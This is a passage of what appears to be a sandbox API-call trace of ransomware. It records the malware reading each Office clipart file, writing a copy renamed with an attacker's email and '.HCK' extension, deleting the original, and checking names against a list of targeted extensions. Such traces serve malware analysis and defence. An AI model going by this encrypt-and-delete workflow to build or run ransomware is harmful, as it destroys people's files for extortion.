office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.117] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.117] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.117] GetLastError () returned 0x0 [0158.117] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5a8, lpOverlapped=0x0) returned 1 [0158.523] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0158.546] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.546] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.553] SetEndOfFile (hFile=0x380) returned 1 [0158.556] CloseHandle (hObject=0x380) returned 1 [0158.557] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.557] SetEndOfFile (hFile=0x390) returned 1 [0158.558] CloseHandle (hObject=0x390) returned 1 [0158.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0158.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.558] lstrlenW (lpString=".doc") returned 4 [0158.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString=".docx") returned 5 [0158.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.559] lstrlenW (lpString=".pdf") returned 4 [0158.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString=".xls") returned 4 [0158.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.559] lstrlenW (lpString=".xlsx") returned 5 [0158.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.559] lstrlenW (lpString=".ppt") returned 4 [0158.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.559] lstrlenW (lpString=".zip") returned 4 [0158.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.559] lstrlenW (lpString=".rar") returned 4 [0158.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString=".bz2") returned 4 [0158.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString=".7z") returned 3 [0158.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.559] lstrlenW (lpString=".dbf") returned 4 [0158.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.559] lstrlenW (lpString=".1cd") returned 4 [0158.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.559] lstrlenW (lpString=".jpg") returned 4 [0158.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.559] lstrlenW (lpString=".doc") returned 4 [0158.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString=".docx") returned 5 [0158.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.559] lstrlenW (lpString=".pdf") returned 4 [0158.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString=".xls") returned 4 [0158.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.559] lstrlenW (lpString=".xlsx") returned 5 [0158.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.559] lstrlenW (lpString=".ppt") returned 4 [0158.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.559] lstrlenW (lpString=".zip") returned 4 [0158.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.559] lstrlenW (lpString=".rar") returned 4 [0158.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.560] lstrlenW (lpString=".bz2") returned 4 [0158.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.560] lstrlenW (lpString=".7z") returned 3 [0158.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.560] lstrlenW (lpString=".dbf") returned 4 [0158.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.560] lstrlenW (lpString=".1cd") returned 4 [0158.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0158.560] lstrlenW (lpString=".jpg") returned 4 [0158.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.560] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.560] lstrlenW (lpString="EN00222_.WMF") returned 12 [0158.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.560] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12356) returned 1 [0158.560] CloseHandle (hObject=0x390) returned 1 [0158.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0158.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.560] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.561] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.561] GetLastError () returned 0x0 [0158.561] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3044, lpOverlapped=0x0) returned 1 [0158.562] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3050, lpOverlapped=0x0) returned 1 [0158.563] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.563] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.563] SetEndOfFile (hFile=0x380) returned 1 [0158.563] CloseHandle (hObject=0x380) returned 1 [0158.564] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.564] SetEndOfFile (hFile=0x390) returned 1 [0158.566] CloseHandle (hObject=0x390) returned 1 [0158.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0158.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.566] lstrlenW (lpString=".doc") returned 4 [0158.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.566] lstrlenW (lpString=".docx") returned 5 [0158.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.566] lstrlenW (lpString=".pdf") returned 4 [0158.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.566] lstrlenW (lpString=".xls") returned 4 [0158.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.566] lstrlenW (lpString=".xlsx") returned 5 [0158.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.566] lstrlenW (lpString=".ppt") returned 4 [0158.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.567] lstrlenW (lpString=".zip") returned 4 [0158.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.567] lstrlenW (lpString=".rar") returned 4 [0158.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString=".bz2") returned 4 [0158.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString=".7z") returned 3 [0158.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.567] lstrlenW (lpString=".dbf") returned 4 [0158.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.567] lstrlenW (lpString=".1cd") returned 4 [0158.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.567] lstrlenW (lpString=".jpg") returned 4 [0158.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.567] lstrlenW (lpString=".doc") returned 4 [0158.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString=".docx") returned 5 [0158.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.567] lstrlenW (lpString=".pdf") returned 4 [0158.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString=".xls") returned 4 [0158.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.567] lstrlenW (lpString=".xlsx") returned 5 [0158.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.567] lstrlenW (lpString=".ppt") returned 4 [0158.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.567] lstrlenW (lpString=".zip") returned 4 [0158.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.567] lstrlenW (lpString=".rar") returned 4 [0158.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString=".bz2") returned 4 [0158.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.567] lstrlenW (lpString=".7z") returned 3 [0158.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.568] lstrlenW (lpString=".dbf") returned 4 [0158.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.568] lstrlenW (lpString=".1cd") returned 4 [0158.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0158.568] lstrlenW (lpString=".jpg") returned 4 [0158.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.568] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.568] lstrlenW (lpString="EN00242_.WMF") returned 12 [0158.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.568] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6780) returned 1 [0158.568] CloseHandle (hObject=0x390) returned 1 [0158.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0158.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.569] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.569] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.569] GetLastError () returned 0x0 [0158.569] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0158.570] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1a80, lpOverlapped=0x0) returned 1 [0158.571] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.571] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.571] SetEndOfFile (hFile=0x380) returned 1 [0158.572] CloseHandle (hObject=0x380) returned 1 [0158.572] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.572] SetEndOfFile (hFile=0x390) returned 1 [0158.573] CloseHandle (hObject=0x390) returned 1 [0158.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0158.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.574] lstrlenW (lpString=".doc") returned 4 [0158.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString=".docx") returned 5 [0158.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.574] lstrlenW (lpString=".pdf") returned 4 [0158.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString=".xls") returned 4 [0158.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.574] lstrlenW (lpString=".xlsx") returned 5 [0158.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.574] lstrlenW (lpString=".ppt") returned 4 [0158.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.574] lstrlenW (lpString=".zip") returned 4 [0158.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.574] lstrlenW (lpString=".rar") returned 4 [0158.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString=".bz2") returned 4 [0158.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString=".7z") returned 3 [0158.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.574] lstrlenW (lpString=".dbf") returned 4 [0158.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.574] lstrlenW (lpString=".1cd") returned 4 [0158.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.574] lstrlenW (lpString=".jpg") returned 4 [0158.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.574] lstrlenW (lpString=".doc") returned 4 [0158.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString=".docx") returned 5 [0158.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.574] lstrlenW (lpString=".pdf") returned 4 [0158.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.574] lstrlenW (lpString=".xls") returned 4 [0158.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.574] lstrlenW (lpString=".xlsx") returned 5 [0158.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.574] lstrlenW (lpString=".ppt") returned 4 [0158.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.575] lstrlenW (lpString=".zip") returned 4 [0158.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.575] lstrlenW (lpString=".rar") returned 4 [0158.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.575] lstrlenW (lpString=".bz2") returned 4 [0158.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.575] lstrlenW (lpString=".7z") returned 3 [0158.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.575] lstrlenW (lpString=".dbf") returned 4 [0158.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.575] lstrlenW (lpString=".1cd") returned 4 [0158.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0158.575] lstrlenW (lpString=".jpg") returned 4 [0158.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.575] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.575] lstrlenW (lpString="EN00319_.WMF") returned 12 [0158.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.575] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2280) returned 1 [0158.575] CloseHandle (hObject=0x390) returned 1 [0158.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0158.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.576] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, 